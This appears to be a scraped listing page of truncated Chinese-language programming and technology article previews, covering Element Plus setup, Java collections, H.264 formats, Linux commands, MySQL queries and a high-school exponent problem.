第一步&#xff1a;安裝 npm install element-plus --save 第二步&#xff1a;在main.js文件夾上引入 import { createApp } from vue import ./style.css import ElementPlus from element-plus import element-plus/dist/index.css import App from ./App.vueconst app c…

3D云渲染工具對決:Maya與Blender的性能和功能深度比較

3D建模和動畫制作已成為數字領域不可或缺的一環&#xff0c;無論是在影視特效的震撼場面&#xff0c;還是在游戲角色的生動表現&#xff0c;3D技術都扮演著至關重要的角色。而在這一領域&#xff0c;Maya和Blender這兩款軟件&#xff0c;以其強大的功能和廣泛的應用&#xff0c…

【JavaEE】進程

目錄 一.馮諾依曼體系結構 二.CPU的核心概念 核心數 頻率&#xff08;Clock Speed 或時鐘頻率&#xff09; 如何選擇合適的CPU 三.指令的執行 1.什么是指令 1.取指令 2.解析指令 3.執行指令 4.訪問內存&#xff08;Memory&#xff09;: 5.寫回結果&#xff08;Write…

視頻解碼故障案例兩則

案例1 綠邊 故障分析&#xff1a; 這個能明顯看到視頻上方出現綠色半透明邊帶。這說明Y數據正常。UV數據不正常。 它顯然與視頻幀的垂直分辨率設置有關。 UV數據和Y數據是連續放置的&#xff0c;如果上方出現彩色數據失調&#xff0c;說明這部分數據實際仍然是Y數據。也就是…

為什么我在go語言里從前端接收到的參數是數字28546.123456,但是我不能使用float32只能使用float64呢?

在 Go 語言中&#xff0c;當你從前端&#xff08;例如通過 HTTP 請求&#xff09;接收數據時&#xff0c;這些數據通常以字符串的形式到達后端。然后&#xff0c;后端需要將這些字符串解析或轉換為適當的類型&#xff0c;比如 float32 或 float64。 然而&#xff0c;如果你發現…

JAVASE進階day08(Map雙列集合)

HashMap 1.HashMap基本使用 package com.lu.day08.map;import java.util.HashMap; import java.util.Map; import java.util.Set;public class MapDome {public static void main(String[] args) {HashMap<String , String> map new HashMap<>();//添加后者修改-…

H264視頻編碼中Annex B 格式介紹

Annex B 格式是 H.264 (也稱為 AVC) 視頻編碼標準中的一種數據表示格式&#xff0c;用于將視頻數據從編碼器傳輸到解碼器。它主要用于流媒體傳輸和文件存儲。 文章目錄 Annex B 格式的定義Annex B 格式的主要特點Annex B 與其他格式的對比Annex B 格式示例將 H.264 數據從 MP4…

查詢(q_proj)、鍵(k_proj)和值(v_proj)投影具體含義

查詢(q_proj)、鍵(k_proj)和值(v_proj)投影&#xff0c;這些投影是自注意力機制的核心組件&#xff0c;特別是在Transformer架構中。 讓我們通過一個簡化的例子來說明&#xff1a; import numpy as np# 假設輸入維度是4&#xff0c;注意力頭數是2 input_dim 4 num_heads 2 …

每天一道Java面試題系列之--Spring如何解決循環依賴問題

面試題&#xff1a;Spring如何解決循環依賴問題&#xff1f; 問題背景&#xff1a; 在Spring框架中&#xff0c;循環依賴通常發生在單例&#xff08;Singleton&#xff09;作用域的bean之間。當兩個或多個bean在它們的構造函數中相互引用時&#xff0c;Spring容器在創建這些b…

電腦32位和62位是什么意思

在現代計算機世界中&#xff0c;32位和64位是兩個常見的術語&#xff0c;但許多用戶可能不太清楚它們的確切含義以及它們之間的區別。本文將詳細介紹32位和64位計算機的基本概念、如何查看您的計算機是32位還是64位&#xff0c;以及它們對用戶的實際影響。 32位與64位的基本概…

算法之工程化內容(1)—— Linux常用命令

目錄 1. cd 命令 2. pwd 查看當前工作目錄路徑 3. SSH遠程登錄 4. ln -s 軟鏈相關 5. mkdir 新建空目錄 6. cp 復制 7. chown 權限改寫 8. 進程相關&#xff08;nohup/ ps/ kill&#xff09; 9. tar -czvf/ tar -xzvf&#xff0c;zip/ unzip解壓縮文件 10. df/ du/ free 11. hi…

MySQL篇七:復合查詢

文章目錄 前言1. 基本查詢回顧2. 多表查詢3. 自連接4. 子查詢4.1 單行子查詢4.2 多行子查詢4.3 多列子查詢4.4 在from子句中使用子查詢4.5 合并查詢4.5.1 union4.5.2 union all 前言 前面我們講解的mysql表的查詢都是對一張表進行查詢&#xff0c;在實際開發中這遠遠不夠。 1.…

【高中數學/指數函數】比較a=0.6^0.9 b=0.6^1.5 c=1.5^0.6的大小

【問題】 比較a0.6^0.9 b0.6^1.5 c1.5^0.6的大小 【解答】 指數函數y0.6^x是減函數&#xff0c;因為0.9<1.5,所以0.6^0.9>0.6^1.5,即a>b; 指數函數y1.5^x是增函數&#xff0c;1.5^0.6>1.5^01>0.6^0.9,即c>a; 綜上&#xff0c;得出c>a>b的結論。 …